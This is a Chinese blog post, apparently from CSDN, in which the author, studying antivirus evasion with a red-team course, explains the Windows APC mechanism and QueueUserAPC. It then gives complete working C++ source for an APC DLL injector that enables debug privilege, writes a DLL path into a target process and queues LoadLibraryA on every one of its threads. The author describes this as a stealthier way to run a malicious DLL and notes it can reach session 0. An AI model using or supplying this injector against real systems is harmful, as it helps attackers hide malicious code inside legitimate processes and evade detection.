初识APC机制&实现APC注入

参考:APC异步过程调用-CSDN博客

又是跟着红队蓝军师傅学免杀的一天,这节课介绍了APC机制和APC注入的实现。

APC介绍: 

APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在 操作系统中,APC是一种并发机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数, APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。

当用户模式 APC 排队时,它排队的线程不会被定向到调用 APC 函数,除非它处于可警告状态。线 程在调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、 WaitForMultipleObjectsEx或WaitForSingleObjectEx函数时进入可警告状态。如果在 APC 排队之 前等待满足,则线程不再处于可警告等待状态,因此不会执行 APC 函数。但是,APC 仍在排队, 因此当线程调用另一个可警告的等待函数时,APC 函数将被执行。

主要函数:QueueUserAPC

QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函 数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含 THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果 QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。

函数结构

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);

APC的本质

线程是不能被杀掉、挂起、恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢? 举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU。所以说线 程如果想死,一定是自己执行代码把自己杀死,不存在他杀这种情况。那如果想改变一个线程的行为该 怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC(Asyncroneus Procedure Call),即异步过程调用。

简单实现

简单实现APC队列的插入,在3环调用 QueueUserAPC(在0环和在3环调用是有些区别的,实际的函数实现是在0环所以如果在3环调用实际是从0环到3环来找APC队列中APC加载,而如果在0环就不用这么麻烦。)

// APCtest1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>


DWORD WINAPI MyThread(LPVOID)
{
    int i = 0;
    while (true)
    {
        SleepEx(300, TRUE);  //这里就启用了APC
        printf("%d\n", i++);
    }
}

void __stdcall MyApcFunction(LPVOID)  //等待回调的函数
{
    printf("Run APCFuntion\n");
    printf("APCFunction done\n");
}

int main(int argc, char* argv[])
{
    HANDLE hThread = CreateThread(0, 0, MyThread, 0, 0, 0);//创建一个线程
    Sleep(1000);//等待前面的子线程被创建后再插入APC队列
    if (!QueueUserAPC((PAPCFUNC)MyApcFunction, hThread, NULL))//QueueUserAPC返回值是0、1.回调了MyApcFunction
    {
        printf("QueueUserAPC error : %d\n", GetLastError());
    }
    getchar(); //一个用来接受键盘输入的函数,在这里是为了卡着保持主线程一直在运行,只有主线程在运行子线程才能运行
    return 0;
}

运行的结果

看着其实就和在主函数中调用了一次回调函数一样,但是实际上回调函数是由创建的子线程调用的不是主线程。(说调用可能也不准确,切换为APC来执行APC队列的内容)

APC注入实现

        在 Windows系统中,每个线程都会维护一个线程 APC队列,通过 QucueUserAPC 把一个APC 函数添加到 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在 可警告状态时才会执行这些APC 函数。一个线程在内部使用 SignalObjectAndWait 、 SleepEx 、 WaitForSingleObjectEx 、 WaitForMultipleObjectsEx 等函数把自己挂起时就是进入可警告状态, 此时便会执行APC队列函数

 步骤

1.当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断 (或者是Messagebox弹窗的时候不点OK的时候也能注入)

2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数

3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插 入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的

        每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入 APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而 是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用 SleepEx 等上面说到的 几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出 (FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般 不存在挂起状态,所以APC注入对于这类程序没有明显效果

其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。

 

流程

1. OpenProcess 打开进程

2. VirtualAlloc 申请空间

3. WriteProcessMemory 写入dll信息

4.根据进程对应的线程id打开线程

5.使用 QueueUserApc 插入执行

此处代码编码方式使用ASCII

其中的关键代码为遍历线程快照并且对每个属于指定PID的进程的线程进行APC插入。

完整代码:

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>


// 提权函数
BOOL EnableDebugPrivilege()
{
    HANDLE hToken; //用于存储当前进程的访问令牌句柄。
    BOOL fok = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。
        fok = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fok;
}

BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {
    EnableDebugPrivilege();
    //打开进程,获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
                printf("OpenProcess error!\n", GetLastError());
        return FALSE;
    }
    //向目标进程申请空间写入dll全路径
    int nSize = strlen(pszDllName);
    LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,
        PAGE_READWRITE);
  if (pDllAddr == NULL)
    {
        printf("VirtualAllocEx error!:%d\n", GetLastError());
        return FALSE;
    }
    SIZE_T dwWrittenSize = 0;
BOOL Write=WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
if (Write == 0)
    {
        printf("WriteProcessMemory error!:%d\n", GetLastError());
        return FALSE;
    }
    //获取LoadLibraryA的地址
    HMODULE hMod = GetModuleHandleA("kernel32.dll");
    FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");//拿到LoadLibraryA后面用来注入DLL用。
    
    //以上步骤和之前的注入流程基本一致,只有下面这里的注入方式使用了APC队列的方式进行的
    //创建线程快照
    THREADENTRY32 te = { 0 };//声明了一个 THREADENTRY32 结构体变量 te 并初始化为 0。用来存储线程的相关信息
    te.dwSize = sizeof(te);//设置 THREADENTRY32 结构体的大小

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);//创建一个线程快照,TH32CS_SNAPTHREAD 指定了快照类型为线程快照。
    if (hSnap == INVALID_HANDLE_VALUE) {
                printf("CreateToolhelp32Snapshot error!:%d\n", GetLastError());
        return FALSE;
    }
    DWORD dwRet = 0;
    HANDLE hThread = NULL;
    if (Thread32First(hSnap, &te)) {//使用 Thread32First 函数获取快照中的第一个线程信息。
        do {
            if (te.th32OwnerProcessID == dwPid) {    //检查当前线程是否属于目标进程 ID (dwPid)。
                hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);    //如果线程属于目标进程,则打开该线程的句柄,以便可以向它排队 APC
                if (hThread) {
                    dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,
                        (ULONG_PTR)pDllAddr);    //如果成功获取了线程句柄,使用 QueueUserAPC 函数向该线程排队一个 APC。也就是在这一步进行DLL注入。
      //参数解读
      // (PAPCFUNC)pFuncAddr:这是一个指向函数的指针,该函数是将要执行的 APC 函数。PAPCFUNC 是一个函数指针类型,指向的函数必须符合特定的签名,即没有返回值,并且接受一个 ULONG_PTR 类型的参数。     
      //hThread:这是一个线程句柄,标识了将要接收 APC 的线程。
      //(ULONG_PTR)pDllAddr:这是传递给 APC 函数的参数。即指向保存在进程内存中dll内容
                    hThread = NULL;
                }
            }
        } while (Thread32Next(hSnap, &te));    //使用 Thread32Next 函数遍历快照中的所有线程
    }
    //这里是对指定进程中出现的所有线程都进行APC插入,每个线程都有自己的APC队列不是共用的。所以应该一个进程中可能注入了多个线程。

    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSnap);
    return TRUE;
}

int main(int argc, char* argv[])
{
    if (argc == 3)
    {
        if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))
            printf("APCInject failed\n");
        else
            printf("APCInject successfully\n");
    }
    else
    {
        printf("\n");
        printf("Usage: %s PID <DllPath>\n", argv[0]);
        printf("Example: %s 520 C:\\test.dll\n", argv[0]);
        exit(1);
    }
    return 0;
}

 

注入验证:

同样这种方法也可以注入session 0 不过同样需要使用管理员的权限去运行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值